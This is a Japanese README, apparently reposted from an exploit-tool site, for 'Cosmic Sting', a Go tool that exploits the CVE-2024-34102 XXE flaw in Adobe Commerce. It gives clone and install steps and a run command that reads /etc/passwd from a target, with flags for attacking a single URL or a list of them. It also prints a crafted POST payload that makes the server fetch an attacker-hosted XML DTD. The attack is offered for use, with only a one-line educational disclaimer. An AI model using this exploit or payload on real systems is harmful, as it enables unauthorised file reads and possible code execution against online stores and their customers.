Cosmic Sting: CVE-2024-34102 エクスプロイター

Cosmic Sting は、CVE-2024-34102（リモートコード実行の脆弱性）を悪用するために設計された Go ベースのツールです。

CVE-2024-34102 詳細

Adobe Commerce バージョン 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 およびそれ以前は、XML 外部エンティティ参照（'XXE'）の不適切な制限の脆弱性の影響を受け、任意のコード実行につながる可能性があります。攻撃者は、外部エンティティを参照する巧妙に細工された XML 文書を送信することで、この脆弱性を悪用する可能性があります。この問題の悪用にはユーザーの操作は必要ありません。

前提条件

• Go（1.16 以降）

インストール

1. リポジトリをクローンします：

   root@kitploit:~

   git clone https://github.com/bughuntar/CVE-2024-34102.git &&
   cd CVE-2024-34102
   

2. 依存関係をインストールします（必要な場合）：

   root@kitploit:~

   go version &&
   go mod init cosmic_sting &&
   go get github.com/fatih/color &&
   go get github.com/google/uuid &&
   go get github.com/urfave/cli/v2
   

単一 URL

単一 URL でツールを実行するには：

go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"

フラグ

• -u, --url : 悪用する単一の URL。
• -f, --file : SSRF 経由で読み取るファイル。
• -l, --list : 悪用する URL のリストを含むファイル。

細工された XML DTD ファイル POST リクエスト：

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}

ライセンス

このプロジェクトはライセンスされていません。個人的なプロジェクトとしてのみ作成されています。

コントリビューション

コントリビューションを歓迎します！変更があれば、Issue を開くかプルリクエストを送信してください。

免責事項

このツールは教育目的のみを意図しています。責任を持って、テストする許可があるシステムでのみ使用してください。

作成者

Professor the Hunter --> Twitter でフォロー

CVE-2024-34102